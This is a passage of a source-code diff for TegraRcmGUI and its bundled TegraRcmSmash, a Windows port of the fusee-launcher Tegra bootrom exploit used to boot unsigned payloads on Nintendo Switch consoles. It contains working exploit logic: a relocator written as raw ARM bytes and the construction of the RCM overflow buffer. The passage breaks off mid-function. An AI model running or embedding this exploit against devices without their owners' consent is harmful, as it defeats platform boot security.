|
||||
{
|
||||
string s;
|
||||
TCHAR args[] = TEXT("memloader\\memloader_usb.bin -r --dataini=memloader\\ums_sd.ini");
|
||||
int rc = Smasher(args);
|
||||
if (rc < 0) s = "Error while loading payload (RC=" + std::to_string(rc) + ")";
|
||||
else s = "SD tool (by rajkosto) injected";
|
||||
CA2T wt(s.c_str());
|
||||
CTegraRcmGUIDlg::SetDlgItemText(INFO_LABEL, wt);
|
||||
}
|
||||
|
||||
int CTegraRcmGUIDlg::Smasher(TCHAR args[])
|
||||
{
|
||||
SECURITY_ATTRIBUTES sa;
|
||||
sa.nLength = sizeof(sa);
|
||||
sa.lpSecurityDescriptor = NULL;
|
||||
sa.bInheritHandle = TRUE;
|
||||
PROCESS_INFORMATION pi;
|
||||
STARTUPINFO si;
|
||||
BOOL ret = FALSE;
|
||||
DWORD flags = CREATE_NO_WINDOW;
|
||||
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
|
||||
ZeroMemory(&si, sizeof(STARTUPINFO));
|
||||
si.cb = sizeof(STARTUPINFO);
|
||||
si.dwFlags |= STARTF_USESTDHANDLES;
|
||||
si.hStdInput = NULL;
|
||||
TCHAR cmd[MAX_PATH] = TEXT(".\\TegraRcmSmash.exe ");
|
||||
lstrcat(cmd, args);
|
||||
ret = CreateProcess(NULL, cmd, NULL, NULL, TRUE, flags, NULL, NULL, &si, &pi);
|
||||
int rc = -50;
|
||||
if (NULL != ret)
|
||||
{
|
||||
WaitForSingleObject(pi.hProcess, INFINITE);
|
||||
DWORD exit_code;
|
||||
if (FALSE != GetExitCodeProcess(pi.hProcess, &exit_code))
|
||||
{
|
||||
if (STILL_ACTIVE != exit_code)
|
||||
{
|
||||
rc = exit_code;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
rc = -51;
|
||||
}
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
}
|
||||
return rc;
|
||||
}
|
||||
|
||||
TCHAR* CTegraRcmGUIDlg::GetAbsolutePath(TCHAR* relative_path, DWORD dwFlags)
|
||||
{
|
||||
TCHAR szPath[MAX_PATH];
|
||||
if (SUCCEEDED(SHGetFolderPath(NULL, dwFlags, NULL, SHGFP_TYPE_CURRENT, szPath)))
|
||||
{
|
||||
if (dwFlags == CSIDL_APPDATA) PathAppend(szPath, _T("\\TegraRcmGUI"));
|
||||
PathAppend(szPath, relative_path);
|
||||
return _tcsdup(szPath);
|
||||
}
|
||||
return _T("");
|
||||
}
|
||||
|
|
|
@ -3,11 +3,11 @@
|
|||
//
|
||||
#pragma once
|
||||
#include "res/BitmapPicture.h"
|
||||
#include <string>
|
||||
#include <string>
|
||||
#include "TegraRcmSmash.h"
|
||||
#include "res/BitmapPicture.h"
|
||||
#include <windows.h>
|
||||
#include <string>
|
||||
#include <string>
|
||||
#include <thread>
|
||||
#include <iostream>
|
||||
#include <sstream>
|
||||
|
@ -23,7 +23,7 @@
|
|||
// CTegraRcmGUIDlg dialog
|
||||
class CTegraRcmGUIDlg : public CDialog
|
||||
{
|
||||
// Construction
|
||||
// Construction
|
||||
public:
|
||||
CTegraRcmGUIDlg(CWnd* pParent = NULL); // standard constructor
|
||||
CBitmapPicture RCM_BITMAP0;
|
||||
|
@ -32,20 +32,20 @@ public:
|
|||
CBitmapPicture RCM_BITMAP3;
|
||||
CMFCEditBrowseCtrl m_EditBrowse;
|
||||
|
||||
// Dialog Data
|
||||
// Dialog Data
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_TEGRARCMGUI_DIALOG };
|
||||
#endif
|
||||
|
||||
protected:
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
|
||||
|
||||
|
||||
// Implementation
|
||||
// Implementation
|
||||
protected:
|
||||
HICON m_hIcon;
|
||||
// Generated message map functions
|
||||
virtual BOOL OnInitDialog();
|
||||
// Generated message map functions
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
|
||||
afx_msg void OnIdle();
|
||||
afx_msg void OnShowWindow();
|
||||
|
@ -58,11 +58,13 @@ public:
|
|||
void OnTimer(UINT nIDEvent);
|
||||
int STATUS;
|
||||
afx_msg void OnEnChangePath();
|
||||
afx_msg void OnBnClickedButton();
|
||||
afx_msg void InjectPayload();
|
||||
afx_msg void OnBnClickedShofel2();
|
||||
afx_msg string GetPreset(string param);
|
||||
afx_msg void SetPreset(string param, string value);
|
||||
afx_msg void InstallDriver();
|
||||
afx_msg BOOL LookForDriver();
|
||||
afx_msg void OnBnClickedMountSd();
|
||||
afx_msg int Smasher(TCHAR args[]);
|
||||
afx_msg TCHAR* GetAbsolutePath(TCHAR *relative_path, DWORD dwFlags);
|
||||
};
|
||||
|
|
|
@ -2,11 +2,12 @@
|
|||
* TegraRcmShash.cpp (by rajkosto)
|
||||
* A reimplementation of fusee-launcher by ktemkin in C++ for Windows platforms.
|
||||
* https://github.com/rajkosto/TegraRcmSmash
|
||||
*
|
||||
*
|
||||
*/
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "TegraRcmSmash.h"
|
||||
|
||||
class RCMDeviceHacker
|
||||
{
|
||||
public:
|
||||
|
@ -252,7 +253,7 @@ int TegraRcmSmash::RcmStatus()
|
|||
if (deviceCount == 0 || LstK_FindByVidPid(deviceList, deviceVid, devicePid, &deviceInfo) == FALSE)
|
||||
{
|
||||
// No device found in RCM Mode
|
||||
return -5;
|
||||
return -5;
|
||||
}
|
||||
|
||||
if (deviceInfo != nullptr)
|
||||
|
@ -289,7 +290,7 @@ int TegraRcmSmash::RcmStatus()
|
|||
}
|
||||
else if (usbkVersion.major != 3 || usbkVersion.minor != 0 || usbkVersion.micro != 7)
|
||||
{
|
||||
|
||||
|
||||
// Wrong USB driver version
|
||||
return -1;
|
||||
}
|
||||
|
@ -297,848 +298,4 @@ int TegraRcmSmash::RcmStatus()
|
|||
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
int TegraRcmSmash::SmashMain(int argc, TCHAR* argv[])
|
||||
{
|
||||
#ifdef UNICODE
|
||||
fflush(stdout);
|
||||
_setmode(_fileno(stdout), _O_WTEXT);
|
||||
fflush(stderr);
|
||||
_setmode(_fileno(stderr), _O_WTEXT);
|
||||
#endif
|
||||
const TCHAR DEFAULT_MEZZO_FILENAME[] = TEXT("intermezzo.bin");
|
||||
const TCHAR* mezzoFilename = DEFAULT_MEZZO_FILENAME;
|
||||
const TCHAR* inputFilename = nullptr;
|
||||
bool waitForDevice = false;
|
||||
struct AdditionalDataItem
|
||||
{
|
||||
const TCHAR* filename = nullptr;
|
||||
u32 address = 0;
|
||||
u16 strTerm = 0;
|
||||
bool reloaded = false;
|
||||
ByteVector dataBytes;
|
||||
|
||||
bool isBOOT() const { return memcmp(&address, "BOOT", strlen("BOOT") + 1) == 0; }
|
||||
void setBOOT() { memcpy(&address, "BOOT", strlen("BOOT")); strTerm = 0; }
|
||||
|
||||
bool isAddr() const { return strTerm != 0; }
|
||||
void setAddr(u32 newAddr) { address = newAddr; strTerm = 1; }
|
||||
void setSect(const char* sectName) { memset(&address, 0, sizeof(address)); memcpy(&address, sectName, strlen(sectName)); strTerm = 0; }
|
||||
const char* getSect() const { return (const char*)&address; }
|
||||
};
|
||||
vector<AdditionalDataItem> moreData;
|
||||
|
||||
auto PrintUsage = []() -> int
|
||||
{
|
||||
//_tprintf(TEXT("Usage: TegraRcmSmash.exe [-V 0x0955] [-P 0x7321] [--relocator=intermezzo.bin] [-w] inputFilename.bin ([PARAM:VALUE]|[0xADDR:filename])*\n"));
|
||||
return -1;
|
||||
};
|
||||
|
||||
const TCHAR HEXA_PREFIX[] = TEXT("0x");
|
||||
for (int i = 1; i<argc; i++)
|
||||
{
|
||||
TCHAR* currArg = argv[i];
|
||||
|
||||
const TCHAR RELOCATOR_ARGUMENT[] = TEXT("--relocator");
|
||||
const TCHAR VENDOR_ARGUMENT[] = TEXT("-V");
|
||||
const TCHAR PRODUCT_ARGUMENT[] = TEXT("-P");
|
||||
const TCHAR WAIT_ARGUMENT[] = TEXT("-w");
|
||||
|
||||
if (_tcsnicmp(currArg, RELOCATOR_ARGUMENT, array_countof(RELOCATOR_ARGUMENT) - 1) == 0)
|
||||
{
|
||||
if (currArg[array_countof(RELOCATOR_ARGUMENT) - 1] == '=')
|
||||
mezzoFilename = &currArg[array_countof(RELOCATOR_ARGUMENT)];
|
||||
else if (currArg[array_countof(RELOCATOR_ARGUMENT) - 1] == 0)
|
||||
{
|
||||
if (i == argc - 1)
|
||||
return PrintUsage();
|
||||
|
||||
mezzoFilename = argv[++i];
|
||||
}
|
||||
else
|
||||
return PrintUsage();
|
||||
}
|
||||
else if (_tcsnicmp(currArg, VENDOR_ARGUMENT, array_countof(VENDOR_ARGUMENT) - 1) == 0 ||
|
||||
_tcsnicmp(currArg, PRODUCT_ARGUMENT, array_countof(PRODUCT_ARGUMENT) - 1) == 0)
|
||||
{
|
||||
const TCHAR* matchedStr = nullptr;
|
||||
size_t matchedLen = 0;
|
||||
|
||||
if (_tcsnicmp(currArg, VENDOR_ARGUMENT, array_countof(VENDOR_ARGUMENT) - 1) == 0)
|
||||
{
|
||||
matchedStr = VENDOR_ARGUMENT;
|
||||
matchedLen = array_countof(VENDOR_ARGUMENT) - 1;
|
||||
}
|
||||
else if (_tcsnicmp(currArg, PRODUCT_ARGUMENT, array_countof(PRODUCT_ARGUMENT) - 1) == 0)
|
||||
{
|
||||
matchedStr = PRODUCT_ARGUMENT;
|
||||
matchedLen = array_countof(PRODUCT_ARGUMENT) - 1;
|
||||
}
|
||||
|
||||
const TCHAR* numberValueStr = nullptr;
|
||||
if (currArg[matchedLen] == '=')
|
||||
numberValueStr = &currArg[matchedLen + 1];
|
||||
else if (currArg[matchedLen] == 0)
|
||||
{
|
||||
if (i == argc - 1)
|
||||
return PrintUsage();
|
||||
|
||||
numberValueStr = argv[++i];
|
||||
}
|
||||
else
|
||||
return PrintUsage();
|
||||
|
||||
if (_tcslen(numberValueStr) >= array_countof(HEXA_PREFIX) &&
|
||||
_tcsnicmp(numberValueStr, HEXA_PREFIX, array_countof(HEXA_PREFIX) - 1) == 0)
|
||||
numberValueStr += array_countof(HEXA_PREFIX) - 1;
|
||||
|
||||
if (matchedStr == VENDOR_ARGUMENT)
|
||||
deviceVid = _tcstoul(numberValueStr, nullptr, 0x10);
|
||||
else if (matchedStr == PRODUCT_ARGUMENT)
|
||||
devicePid = _tcstoul(numberValueStr, nullptr, 0x10);
|
||||
else
|
||||
return PrintUsage();
|
||||
}
|
||||
else if (_tcsnicmp(currArg, WAIT_ARGUMENT, array_countof(WAIT_ARGUMENT)) == 0)
|
||||
{
|
||||
waitForDevice = true;
|
||||
}
|
||||
else if (currArg[0] == '-') //unknown option
|
||||
{
|
||||
//_ftprintf(stderr, TEXT("Unknown option %Ts\n"), currArg);
|
||||
return PrintUsage();
|
||||
}
|
||||
else //payload/data filename
|
||||
{
|
||||
if (inputFilename == nullptr)
|
||||
inputFilename = currArg;
|
||||
else
|
||||
{
|
||||
auto colonPos = _tcschr(currArg, '+');
|
||||
if (colonPos == nullptr)
|
||||
{
|
||||
//_ftprintf(stderr, TEXT("No colon separator in additional data argument '%Ts'\n"), currArg);
|
||||
return PrintUsage();
|
||||
}
|
||||
|
||||
*colonPos = 0;
|
||||
const size_t leftPartLen = colonPos - currArg;
|
||||
const TCHAR* leftPart = currArg;
|
||||
const TCHAR* rightPart = colonPos + 1;
|
||||
|
||||
AdditionalDataItem newItem;
|
||||
newItem.filename = rightPart;
|
||||
if (leftPartLen >= array_countof(HEXA_PREFIX) &&
|
||||
_tcsnicmp(leftPart, HEXA_PREFIX, array_countof(HEXA_PREFIX) - 1) == 0)
|
||||
{
|
||||
leftPart += array_countof(HEXA_PREFIX) - 1;
|
||||
|
||||
wchar_t* endPos = nullptr;
|
||||
newItem.setAddr(_tcstoul(leftPart, &endPos, 0x10));
|
||||
if (endPos == nullptr || endPos == leftPart)
|
||||
{
|
||||
//_ftprintf(stderr, TEXT("Invalid load address '%Ts' in additional data argument '%Ts'\n"), leftPart, currArg);
|
||||
return -1;
|
||||
}
|
||||
|
||||
auto it = std::find_if(moreData.cbegin(), moreData.cend(), [&newItem](const AdditionalDataItem& itm) {
|
||||
return (itm.isAddr() == newItem.isAddr()) && (itm.address == newItem.address);
|
||||
});
|
||||
|
||||
if (it != moreData.cbegin())
|
||||
{
|
||||
//_ftprintf(stderr, TEXT("Load address 0x%08x already defined with filename '%Ts'\n"), it->address, it->filename);
|
||||
return -1;
|
||||
}
|
||||
|
||||
moreData.emplace_back(std::move(newItem));
|
||||
}
|
||||
else if (leftPartLen <= sizeof(newItem.address))
|
||||
{
|
||||
std::string convAscii; convAscii.reserve(_tcslen(leftPart));
|
||||
for (size_t strPos = 0; strPos<leftPartLen; strPos++)
|
||||
convAscii.push_back((char)leftPart[strPos]);
|
||||
|
||||
newItem.setSect(convAscii.c_str());
|
||||
|
||||
auto it = std::find_if(moreData.cbegin(), moreData.cend(), [&newItem](const AdditionalDataItem& itm) {
|
||||
return (itm.isAddr() == newItem.isAddr()) && (itm.address == newItem.address);
|
||||
});
|
||||
|
||||
if (it != moreData.cbegin())
|
||||
{
|
||||
//_ftprintf(stderr, TEXT("Load parameter %hs already defined with value '%Ts'\n"), it->getSect(), it->filename);
|
||||
return -1;
|
||||
}
|
||||
|
||||
moreData.emplace_back(std::move(newItem));
|
||||
}
|
||||
else
|
||||
{
|
||||
//_ftprintf(stderr, TEXT("Invalid param name '%Ts' in additional data argument '%Ts'\n"), leftPart, currArg);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//print program name and version
|
||||
{
|
||||
TCHAR stringBuf[2048];
|
||||
stringBuf[0] = 0;
|
||||
const auto numChars = GetModuleFileName(NULL, stringBuf, (DWORD)array_countof(stringBuf) - 1);
|
||||
stringBuf[numChars] = 0;
|
||||
|
||||
const TCHAR* versionInfoStr = TEXT("[UNKNOWN VERSION]");
|
||||
if (GetFileVersionInfo(stringBuf, 0, sizeof(stringBuf), stringBuf))
|
||||
{
|
||||
VS_FIXEDFILEINFO* fileInfo = nullptr;
|
||||
unsigned int infoLen = 0;
|
||||
if (VerQueryValue(stringBuf, TEXT("\\"), (LPVOID*)&fileInfo, &infoLen) && fileInfo != nullptr && infoLen > 0)
|
||||
{
|
||||
const u32 outMajor = HIWORD(fileInfo->dwFileVersionMS);
|
||||
const u32 outMinor = LOWORD(fileInfo->dwFileVersionMS);
|
||||
const u32 outRev = HIWORD(fileInfo->dwFileVersionLS);
|
||||
const u32 outBld = LOWORD(fileInfo->dwFileVersionLS);
|
||||
|
||||
//_stprintf_s(stringBuf, TEXT("%u.%u.%u-%u"), outMajor, outMinor, outRev, outBld);
|
||||
versionInfoStr = stringBuf;
|
||||
}
|
||||
}
|
||||
|
||||
const TCHAR* bitnessStr = nullptr;
|
||||
#if !_WIN64
|
||||
bitnessStr = TEXT("32bit");
|
||||
#else
|
||||
bitnessStr = TEXT("64bit");
|
||||
#endif
|
||||
//_tprintf(TEXT("TegraRcmSmash (%Ts) %Ts by rajkosto\n"), bitnessStr, versionInfoStr);
|
||||
}
|
||||
|
||||
//check all arguments
|
||||
if (deviceVid == 0 || deviceVid >= 0xFFFF)
|
||||
{
|
||||
_ftprintf(stderr, TEXT("Invalid USB VID specified\n"));
|
||||
return PrintUsage();
|
||||
}
|
||||
if (devicePid == 0 || devicePid >= 0xFFFF)
|
||||
{
|
||||
_ftprintf(stderr, TEXT("Invalid USB PID specified\n"));
|
||||
return PrintUsage();
|
||||
}
|
||||
if (inputFilename == nullptr || _tcslen(inputFilename) == 0)
|
||||
{
|
||||
_ftprintf(stderr, TEXT("Please specify input filename\n"));
|
||||
return PrintUsage();
|
||||
}
|
||||
|
||||
std::sort(moreData.begin(), moreData.end(), [](const AdditionalDataItem& left, const AdditionalDataItem& right) {
|
||||
if (left.isBOOT() != right.isBOOT()) //boot goes last
|
||||
{
|
||||
if (left.isBOOT())
|
||||
return false;
|
||||
if (right.isBOOT())
|
||||
return true;
|
||||
}
|
||||
|
||||
if (left.isAddr() != right.isAddr()) //named go first
|
||||
{
|
||||
if (left.isAddr())
|
||||
return false;
|
||||
if (right.isAddr())
|
||||
return true;
|
||||
}
|
||||
|
||||
if (left.isAddr())
|
||||
return left.address < right.address;
|
||||
else
|
||||
return (strcmp(left.getSect(), right.getSect()) < 0);
|
||||
});
|
||||
|
||||
auto ReadFileToBuf = [](ByteVector& outBuf, const TCHAR* fileType, const TCHAR* inputFilename, bool silent) -> int
|
||||
{
|
||||
std::ifstream inputFile(inputFilename, std::ios::binary);
|
||||
if (!inputFile.is_open())
|
||||
{
|
||||
if (!silent)
|
||||
_ftprintf(stderr, TEXT("Couldn't open %Ts file '%Ts' for reading\n"), fileType, inputFilename);
|
||||
|
||||
return -2;
|
||||
}
|
||||
|
||||
inputFile.seekg(0, std::ios::end);
|
||||
const auto inputSize = inputFile.tellg();
|
||||
inputFile.seekg(0, std::ios::beg);
|
||||
|
||||
outBuf.resize((size_t)inputSize);
|
||||
if (outBuf.size() > 0)
|
||||
{
|
||||
inputFile.read((char*)&outBuf[0], outBuf.size());
|
||||
const auto bytesRead = inputFile.gcount();
|
||||
if (bytesRead < inputSize)
|
||||
{
|
||||
_ftprintf(stderr, TEXT("Error reading %Ts file '%Ts' (only %llu out of %llu bytes read)\n"), fileType, inputFilename, (u64)bytesRead, (u64)inputSize);
|
||||
return -2;
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
};
|
||||
|
||||
//populate address for BOOT if necessary, otherwise load file contents
|
||||
for (size_t i = 0; i<moreData.size(); i++)
|
||||
{
|
||||
auto& currData = moreData[i];
|
||||
if (currData.isBOOT())
|
||||
{
|
||||
if (_tcslen(currData.filename) >= array_countof(HEXA_PREFIX) &&
|
||||
_tcsnicmp(currData.filename, HEXA_PREFIX, array_countof(HEXA_PREFIX) - 1) == 0)
|
||||
{
|
||||
auto addressStr = currData.filename + array_countof(HEXA_PREFIX) - 1;
|
||||
|
||||
wchar_t* endPos = nullptr;
|
||||
currData.setAddr(_tcstoul(addressStr, &endPos, 0x10));
|
||||
if (endPos == nullptr || endPos == addressStr)
|
||||
{
|
||||
_ftprintf(stderr, TEXT("Invalid parameter address '%Ts' for setting '%hs'\n"), addressStr, currData.getSect());
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
bool foundAddress = false;
|
||||
for (size_t j = 0; j<moreData.size(); j++)
|
||||
{
|
||||
if (j == i)
|
||||
continue;
|
||||
|
||||
const auto& otherData = moreData[j];
|
||||
if (otherData.isAddr() && _tcsicmp(currData.filename, otherData.filename) == 0)
|
||||
{
|
||||
currData.setAddr(otherData.address);
|
||||
foundAddress = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!foundAddress)
|
||||
{
|
||||
_ftprintf(stderr, TEXT("No load address defined for filename '%Ts' (required for setting '%hs')\n"), currData.filename, currData.getSect());
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
auto readFileRes = ReadFileToBuf(currData.dataBytes, TEXT("data"), currData.filename, false);
|
||||
if (readFileRes != 0)
|
||||
return readFileRes;
|
||||
}
|
||||
}
|
||||
|
||||
//intentional ptr comparison, if user supplied their own filename always read it
|
||||
auto usingBuiltinMezzo = (mezzoFilename == DEFAULT_MEZZO_FILENAME);
|
||||
bool usingNoMezzo = false;
|
||||
if (mezzoFilename == nullptr || _tcslen(mezzoFilename) == 0)
|
||||
{
|
||||
usingBuiltinMezzo = true;
|
||||
usingNoMezzo = true;
|
||||
}
|
||||
|
||||
ByteVector mezzoBuf;
|
||||
if (!usingNoMezzo)
|
||||
{
|
||||
auto readFileRes = ReadFileToBuf(mezzoBuf, TEXT("relocator"), mezzoFilename, usingBuiltinMezzo);
|
||||
if (readFileRes != 0)
|
||||
{
|
||||
if (usingBuiltinMezzo)
|
||||
{
|
||||
const byte BUILTIN_INTERMEZZO[] =
|
||||
{
|
||||
0x44, 0x00, 0x9F, 0xE5, 0x01, 0x11, 0xA0, 0xE3, 0x40, 0x20, 0x9F, 0xE5, 0x00, 0x20, 0x42, 0xE0,
|
||||
0x08, 0x00, 0x00, 0xEB, 0x01, 0x01, 0xA0, 0xE3, 0x10, 0xFF, 0x2F, 0xE1, 0x00, 0x00, 0xA0, 0xE1,
|
||||
0x2C, 0x00, 0x9F, 0xE5, 0x2C, 0x10, 0x9F, 0xE5, 0x02, 0x28, 0xA0, 0xE3, 0x01, 0x00, 0x00, 0xEB,
|
||||
0x20, 0x00, 0x9F, 0xE5, 0x10, 0xFF, 0x2F, 0xE1, 0x04, 0x30, 0x90, 0xE4, 0x04, 0x30, 0x81, 0xE4,
|
||||
0x04, 0x20, 0x52, 0xE2, 0xFB, 0xFF, 0xFF, 0x1A, 0x1E, 0xFF, 0x2F, 0xE1, 0x20, 0xF0, 0x01, 0x40,
|
||||
0x5C, 0xF0, 0x01, 0x40, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x01, 0x40
|
||||
};
|
||||
|
||||
mezzoBuf.resize(sizeof(BUILTIN_INTERMEZZO));
|
||||
memcpy(&mezzoBuf[0], BUILTIN_INTERMEZZO, mezzoBuf.size());
|
||||
}
|
||||
else
|
||||
return readFileRes;
|
||||
}
|
||||
else
|
||||
usingBuiltinMezzo = false;
|
||||
}
|
||||
|
||||
ByteVector userFileBuf;
|
||||
auto readFileRes = ReadFileToBuf(userFileBuf, TEXT("payload"), inputFilename, false);
|
||||
if (readFileRes != 0)
|
||||
return readFileRes;
|
||||
|
||||
KLST_DEVINFO_HANDLE deviceInfo = nullptr;
|
||||
|
||||
KLST_HANDLE deviceList = nullptr;
|
||||
if (!LstK_Init(&deviceList, KLST_FLAG_NONE))
|
||||
{
|
||||
const auto errorCode = GetLastError();
|
||||
_ftprintf(stderr, TEXT("Got win32 error %u trying to list USB devices\n"), errorCode);
|
||||
return -3;
|
||||
}
|
||||
auto lstKgrd = MakeScopeGuard([&deviceList]()
|
||||
{
|
||||
if (deviceList != nullptr)
|
||||
{
|
||||
LstK_Free(deviceList);
|
||||
deviceList = nullptr;
|
||||
}
|
||||
});
|
||||
|
||||
// Get the number of devices contained in the device list.
|
||||
UINT deviceCount = 0;
|
||||
LstK_Count(deviceList, &deviceCount);
|
||||
if (deviceCount == 0 || LstK_FindByVidPid(deviceList, deviceVid, devicePid, &deviceInfo) == FALSE)
|
||||
{
|
||||
if (!waitForDevice)
|
||||
{
|
||||
_ftprintf(stderr, TEXT("No TegraRCM devices found and -w option not specified\n"));
|
||||
return -3;
|
||||
}
|
||||
|
||||
//_tprintf(TEXT("Wanted device not connected yet, waiting...\n"));
|
||||
lstKgrd.run();
|
||||
|
||||
KHOT_HANDLE hotHandle = nullptr;
|
||||
KHOT_PARAMS hotParams;
|
||||
|
||||
memset(&hotParams, 0, sizeof(hotParams));
|
||||
hotParams.OnHotPlug = HotPlugEventCallback;
|
||||
hotParams.Flags = KHOT_FLAG_NONE;
|
||||
|
||||
memset(&pluggedInDevice, 0, sizeof(pluggedInDevice));
|
||||
gotDeviceEvent = CreateEvent(nullptr, TRUE, FALSE, nullptr);
|
||||
finishedUpEvent = CreateEvent(nullptr, TRUE, FALSE, nullptr);
|
||||
sprintf_s(hotParams.PatternMatch.DeviceID, "*VID_%04X&PID_%04X*", deviceVid, devicePid);
|
||||
//_tprintf(TEXT("Looking for devices matching the pattern %s\n"),
|
||||
// WinString(std::begin(hotParams.PatternMatch.DeviceID), std::end(hotParams.PatternMatch.DeviceID)).c_str());
|
||||
|
||||
// Initializes a new HotK handle.
|
||||
if (!HotK_Init(&hotHandle, &hotParams))
|
||||
{
|
||||
const auto errorCode = GetLastError();
|
||||
_ftprintf(stderr, TEXT("Hotplug listener init failed with win32 error %u\n"), errorCode);
|
||||
return -4;
|
||||
}
|
||||
auto hotKgrd = MakeScopeGuard([&hotHandle]()
|
||||
{
|
||||
if (hotHandle != nullptr)
|
||||
{
|
||||
HotK_Free(hotHandle);
|
||||
hotHandle = nullptr;
|
||||
}
|
||||
});
|
||||
|
||||
if (SetConsoleCtrlHandler(ConsoleSignalHandler, TRUE))
|
||||
WaitForSingleObject(gotDeviceEvent.get(), INFINITE);
|
||||
|
||||
gotDeviceEvent = WinHandle();
|
||||
if (pluggedInDevice.Common.Vid == deviceVid && pluggedInDevice.Common.Pid == devicePid && pluggedInDevice.Connected == TRUE) //got the device after waiting
|
||||
{
|
||||
finishedUpEvent = WinHandle();
|
||||
deviceInfo = &pluggedInDevice;
|
||||
SetConsoleCtrlHandler(ConsoleSignalHandler, FALSE);
|
||||
}
|
||||
else
|
||||
{
|
||||
//_tprintf(TEXT("Exiting due to user cancellation\n"));
|
||||
SetEvent(finishedUpEvent.get());
|
||||
return -5;
|
||||
}
|
||||
}
|
||||
|
||||
if (deviceInfo != nullptr)
|
||||
{
|
||||
if (deviceInfo->DriverID != KUSB_DRVID_LIBUSBK)
|
||||
{
|
||||
/*
|
||||
_tprintf(TEXT("The selected device path %hs with VID_%04X&PID_%04x isn't using the libusbK driver\n"),
|
||||
deviceInfo->DevicePath, deviceInfo->Common.Vid, deviceInfo->Common.Pid);
|
||||
_tprintf(TEXT("Please run Zadig and install the libusbK (v3.0.7.0) driver for this device\n"));
|
||||
|
||||
_ftprintf(stderr,TEXT("Failed to open USB device handle because of wrong driver installed\n"));
|
||||
*/
|
||||
return -6;
|
||||
}
|
||||
|
||||
KUSB_DRIVER_API Usb;
|
||||
LibK_LoadDriverAPI(&Usb, deviceInfo->DriverID);
|
||||
|
||||
// Initialize the device
|
||||
KUSB_HANDLE handle = nullptr;
|
||||
if (!Usb.Init(&handle, deviceInfo))
|
||||
{
|
||||
const auto errorCode = GetLastError();
|
||||
_ftprintf(stderr, TEXT("Failed to open USB device handle with win32 error %u\n"), errorCode);
|
||||
return -6;
|
||||
}
|
||||
|
||||
RCMDeviceHacker rcmDev(Usb, handle); handle = nullptr;
|
||||
|
||||
libusbk::version_t usbkVersion;
|
||||
memset(&usbkVersion, 0, sizeof(usbkVersion));
|
||||
const auto versRetVal = rcmDev.getDriverVersion(usbkVersion);
|
||||
if (versRetVal <= 0)
|
||||
{
|
||||
_ftprintf(stderr, TEXT("Failed to get libusbK driver version for device with win32 error %d\n"), -versRetVal);
|
||||
return -6;
|
||||
}
|
||||
else if (usbkVersion.major != 3 || usbkVersion.minor != 0 || usbkVersion.micro != 7)
|
||||
{
|
||||
/*
|
||||
_tprintf(TEXT("The opened device isn't using the correct libusbK driver version (expected: %u.%u.%u got: %u.%u.%u)\n"),
|
||||
3, 0, 7, usbkVersion.major, usbkVersion.minor, usbkVersion.micro);
|
||||
_tprintf(TEXT("Please run Zadig and install the libusbK (v3.0.7.0) driver for this device\n"));
|
||||
|
||||
_ftprintf(stderr, TEXT("Failed to open USB device handle because of wrong driver version installed\n"));
|
||||
*/
|
||||
return -6;
|
||||
}
|
||||
|
||||
u8 didBuf[0x10];
|
||||
memset(didBuf, 0, sizeof(didBuf));
|
||||
const auto didRetVal = rcmDev.readDeviceId(didBuf, sizeof(didBuf));
|
||||
if (didRetVal >= int(sizeof(didBuf)))
|
||||
{
|
||||
/*
|
||||
_tprintf(TEXT("RCM Device with id %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X initialized successfully!\n"),
|
||||
(u32)didBuf[0],(u32)didBuf[1],(u32)didBuf[2],(u32)didBuf[3],(u32)didBuf[4],(u32)didBuf[5],(u32)didBuf[6],(u32)didBuf[7],
|
||||
(u32)didBuf[8],(u32)didBuf[9],(u32)didBuf[10],(u32)didBuf[11],(u32)didBuf[12],(u32)didBuf[13],(u32)didBuf[14],(u32)didBuf[15]);
|
||||
*/
|
||||
}
|
||||
else
|
||||
{
|
||||
if (didRetVal < 0)
|
||||
_ftprintf(stderr, TEXT("Reading device id failed with win32 error %d\n"), -didRetVal);
|
||||
else
|
||||
_ftprintf(stderr, TEXT("Was only able to read %d out of %d bytes of device id\n"), didRetVal, (int)sizeof(didBuf));
|
||||
|
||||
return -7;
|
||||
}
|
||||
|
||||
size_t currPayloadOffs = 0;
|
||||
ByteVector payloadBuf;
|
||||
|
||||
// Prefix the image with an RCM command, so it winds up loaded into memory at the right location (0x40010000).
|
||||
// Use the maximum length accepted by RCM, so we can transmit as much payload as we want; we'll take over before we get to the end.
|
||||
{
|
||||
const u32 lengthData = 0x30298;
|
||||
payloadBuf.resize(payloadBuf.size() + sizeof(lengthData));
|
||||
memcpy(&payloadBuf[currPayloadOffs], &lengthData, sizeof(lengthData));
|
||||
currPayloadOffs += sizeof(lengthData);
|
||||
}
|
||||
|
||||
// pad out to 680 so the payload starts at the right address in IRAM
|
||||
payloadBuf.resize(680, 0);
|
||||
currPayloadOffs = payloadBuf.size();
|
||||
|
||||
constexpr u32 RCM_PAYLOAD_ADDR = 0x40010000;
|
||||
if (usingNoMezzo)
|
||||
{
|
||||
constexpr size_t bytesToAdd = 0x1a3a * sizeof(u32);
|
||||
payloadBuf.resize(payloadBuf.size() + bytesToAdd, 0);
|
||||
currPayloadOffs += bytesToAdd;
|
||||
assert(currPayloadOffs == payloadBuf.size());
|
||||
|
||||
// Reload the user-supplied binary in case it changed
|
||||
readFileRes = ReadFileToBuf(userFileBuf, TEXT("payload"), inputFilename, false);
|
||||
if (readFileRes != 0)
|
||||
return readFileRes;
|
||||
|
||||
u32 entry = RCM_PAYLOAD_ADDR + (u32)userFileBuf.size() + sizeof(u32);
|
||||
entry |= 1; //we want to jump to thumb code
|
